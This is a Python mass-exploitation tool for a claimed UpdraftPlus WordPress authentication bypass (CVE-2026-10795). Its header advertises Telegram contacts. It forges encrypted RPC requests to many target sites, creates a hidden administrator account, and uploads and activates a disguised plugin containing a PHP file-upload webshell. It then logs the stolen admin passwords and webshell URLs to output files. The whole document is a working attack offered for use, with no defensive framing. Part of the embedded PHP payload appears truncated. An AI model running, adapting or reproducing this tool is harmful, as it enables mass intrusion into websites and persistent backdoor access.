#!/usr/bin/env python3 """ CVE-2026-10795 UpdraftPlus Auto-Exploit & Mass Scanner Usage: python3 exploit.py targets.txt Output: admins.txt, uploaders.txt Telegram: https://t.me/WebshellSR Contact : @Devco1 & @BIBIL0DAY """ import argparse import base64 import io import json import os import random import string import sys import time import urllib3 import zipfile from concurrent.futures import ThreadPoolExecutor, as_completed from datetime import datetime from urllib.parse import urljoin import colorama colorama.init() import requests from Crypto.Cipher import AES from Crypto.Util.Padding import pad urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # ─── Verified crypto ───────────────────────────────────────────── ZERO_KEY = b'\x00' * 16 ZERO_IV = b'\x00' * 16 DEFAULT_THREADS = 30 DEFAULT_TIMEOUT = 15 # ─── Key names to try ──────────────────────────────────────────── KEY_NAMES = [ "0.central.updraftplus.com", "1.central.updraftplus.com", "2.central.updraftplus.com", "migrator.updraftplus.com", ] # ─── Admin settings ────────────────────────────────────────────── ADMIN_USER = "WebshellRS" ADMIN_EMAIL_DOMAIN = "security.local" # ─── Telegram ──────────────────────────────────────────────────── TELEGRAM = "https://t.me/WebshellSR" # ─── Random plugin name generator ──────────────────────────────── PLUGIN_ADJECTIVES = ["cache","seo","security","optimizer","backup","helper","analytics","optimizer","social","maintenance","utility","enhancer","performance","indexer","search","widget","toolbar","blocker","guard","protector"] PLUGIN_NOUNS = ["engine","toolkit","suite","framework","manager","controller","handler","processor","booster","scanner","monitor","connector","integrator","solution","driver","module","component","service","worker","daemon"] def random_plugin_name(): adj = random.choice(PLUGIN_ADJECTIVES) noun = random.choice(PLUGIN_NOUNS) num = random.randint(100, 999) return f"{adj}-{noun}-{num}" def build_plugin_zip(plugin_name): php_file = plugin_name + '.php' php_code = f'''Telegram: @WebshellSR
Contact : @Devco1 & @BIBIL0DAY
'.php_uname()."\n".'
';if($_POST){{if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){{echo 'OK';}}else{{echo 'ER';}}}}?> ''' z = io.BytesIO() with zipfile.ZipFile(z, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr(f'{plugin_name}/{php_file}', php_code) return base64.b64encode(z.getvalue()).decode() # ─── Colors ────────────────────────────────────────────────────── class C: G = '\033[92m'; R = '\033[91m'; Y = '\033[93m'; C = '\033[96m'; B = '\033[1m'; E = '\033[0m' def s(m): print(f"{C.G}[+]{C.E} {m}") def e(m): print(f"{C.R}[-]{C.E} {m}", file=sys.stderr) def i(m): print(f"{C.C}[*]{C.E} {m}") def w(m): print(f"{C.Y}[!]{C.E} {m}") def v(m): print(f"{C.G}{C.B}[VULN]{C.E} {m}") def adm(m): print(f"{C.G}{C.B}[ADMIN]{C.E} {m}") def up(m): print(f"{C.G}{C.B}[UPLOADER]{C.E} {m}") # ─── Instant save ──────────────────────────────────────────────── def save(file, line): with open(file, 'a', encoding='utf-8') as fh: fh.write(line + '\n') fh.flush() os.fsync(fh.fileno()) # ─── Crypto ────────────────────────────────────────────────────── def encrypt_payload(payload): pt = json.dumps(payload, separators=(',', ':')).encode() return base64.b64encode(AES.new(ZERO_KEY, AES.MODE_CBC, ZERO_IV).encrypt(pad(pt, AES.block_size))).decode() def build_message(cmd, key_name, params=None): fake_key = base64.b64encode(b'\x41' * 128).decode() sk_len = format(len(fake_key), '03x') payload = {"command": cmd, "time": int(time.time()), "key_name": key_name} if params: payload["data"] = params payload["rand"] = ''.join(random.choices(string.hexdigits, k=6)) enc = encrypt_payload(payload) cl_len = format(len(enc), '016x') return sk_len + fake_key + cl_len + enc def send_rpc(target, cmd, key_name, params=None, timeout=DEFAULT_TIMEOUT): target = target.strip() if not target.startswith(('http://', 'https://')): target = 'http://' + target if not target.endswith('/'): target += '/' msg = build_message(cmd, key_name, params) post = {"udrpc_message": msg, "format": "1", "key_name": key_name} for url in [urljoin(target, 'wp-admin/admin-ajax.php'), target]: try: r = requests.post(url, data=post, timeout=timeout, verify=False, headers={'User-Agent': 'Mozilla/5.0'}) if r.status_code == 200: return True, r.text, url except: continue return False, "", "" # ─── Vuln check ────────────────────────────────────────────────── def is_vuln(text): if not text: return False text = text.strip() if text in ('0', '-1', ''): return False try: d = json.loads(text) return isinstance(d, dict) and 'udrpc_message' in d and 'signature' in d except: return False # ─── Create admin ──────────────────────────────────────────────── def create_admin(target, key_name): pw = ''.join(random.choices(string.ascii_letters + string.digits + '!@#$%', k=16)) params = { "user_login": ADMIN_USER, "user_email": f"{ADMIN_USER.lower()}@{ADMIN_EMAIL_DOMAIN}", "user_pass": pw, "role": "administrator", "first_name": "System", "last_name": "Admin" } ok, text, url = send_rpc(target, "users.add_user", key_name, params) if ok and is_vuln(text): return True, pw return False, None # ─── Upload uploader plugin ────────────────────────────────── def upload_plugin(target, key_name, plugin_name): params = { "filename": f"{plugin_name}.zip", "data": build_plugin_zip(plugin_name), "chunks": 1, "chunk": 0 } ok, text, url = send_rpc(target, "plugin.upload_plugin", key_name, params) return ok and is_vuln(text) # ─── Activate plugin ───────────────────────────────────────────── def activate_plugin(target, key_name, plugin_name): params = {"plugin": f"{plugin_name}/{plugin_name}.php"} ok, text, url = send_rpc(target, "plugin.activate_plugin", key_name, params) return ok and is_vuln(text) # ─── Main exploit chain ────────────────────────────────────────── def exploit_target(target): target = target.strip() if not target or target.startswith('#'): return # Try each key name found_key = None for key_name in KEY_NAMES: ok, text, url = send_rpc(target, "plugin.load_plugins", key_name) if ok and is_vuln(text): found_key = key_name v(f"{target}") s(f" Endpoint: {url}") s(f" Key: {key_name}") break if not found_key: return # Generate unique plugin name for this target plugin_name = random_plugin_name() php_file = plugin_name + '.php' target_url = target if not target_url.startswith(('http://', 'https://')): target_url = 'http://' + target_url target_url = target_url.rstrip('/') base = f"{target_url}/wp-content/plugins/{plugin_name}/" i(f" Plugin name: {plugin_name}") # 1. Create admin i(f" Creating admin '{ADMIN_USER}'...") adm_ok, pw = create_admin(target, found_key) if adm_ok and pw: adm(f" {target_url}/wp-login.php#{ADMIN_USER}@{pw}") save("admins.txt", f"{target_url}/wp-login.php#{ADMIN_USER}@{pw}") else: w(f" Admin creation returned encrypted response (may have succeeded)") save("admins.txt", f"{target_url}/wp-login.php#{ADMIN_USER}@UNKNOWN_CHECK_MANUALLY") # 2. Upload uploader plugin i(f" Uploading {plugin_name}.zip...") if upload_plugin(target, found_key, plugin_name): up(f" Plugin uploaded") # 3. Activate i(f" Activating {plugin_name}...") if activate_plugin(target, found_key, plugin_name): up_url = base + php_file up(f" Uploader: {up_url}") save("uploaders.txt", up_url) else: w(f" Activation failed - try manual") save("uploaders.txt", base + php_file + ' (MANUAL_ACTIVATE)') else: w(f" Upload failed") print() # ─── Load targets ──────────────────────────────────────────────── def load_targets(path): targets = [] with open(path, 'r', encoding='utf-8') as f: for line in f: line = line.strip() if line and not line.startswith('#'): targets.append(line) return targets # ─── Main ──────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser(description='CVE-2026-10795 Auto-Exploit | Telegram: @WebshellSR') parser.add_argument('targets', help='Target list file') parser.add_argument('-T', '--threads', type=int, default=DEFAULT_THREADS) parser.add_argument('-t', '--timeout', type=int, default=DEFAULT_TIMEOUT) args = parser.parse_args() if not os.path.isfile(args.targets): e(f"File not found: {args.targets}") sys.exit(1) targets = load_targets(args.targets) if not targets: e("No targets loaded") sys.exit(1) # Init output files ts = datetime.now().strftime('%Y-%m-%d %H:%M:%S') for f in ['admins.txt', 'uploaders.txt']: if not os.path.exists(f): with open(f, 'w') as fh: fh.write(f"# Webshell Security Researcher | {TELEGRAM}\n# Started: {ts}\n") print(f""" {C.C}{C.B}╔══════════════════════════════════════════════════════════╗ ║ CVE-2026-10795 Auto-Exploit & Mass Scanner ║ ║ UpdraftPlus <= 1.26.4 - Auth Bypass -> RCE ║ ║ Telegram: {TELEGRAM:<30} ║ ╚══════════════════════════════════════════════════════════╝{C.E} """) i(f"Targets: {len(targets)} | Threads: {args.threads}") i(f"Admin: {ADMIN_USER} | Output: admins.txt, uploaders.txt") i(f"Started: {ts}") print() scanned = 0 lock = __import__('threading').Lock() def worker(t): nonlocal scanned try: exploit_target(t) with lock: scanned += 1 if scanned % 10 == 0 or scanned == len(targets): i(f"Progress: {scanned}/{len(targets)}") except Exception as ex: with lock: scanned += 1 e(f"[{t}] {ex}") with ThreadPoolExecutor(max_workers=args.threads) as ex: list(ex.map(worker, targets)) print() print("=" * 55) s(f"Done! Scanned: {scanned}/{len(targets)}") s(f"admins.txt - Admin credentials") s(f"uploaders.txt - Uploader URLs") s(f"Telegram: {TELEGRAM}") print("=" * 55) if __name__ == '__main__': try: main() except KeyboardInterrupt: print("\n[!] Interrupted") sys.exit(130)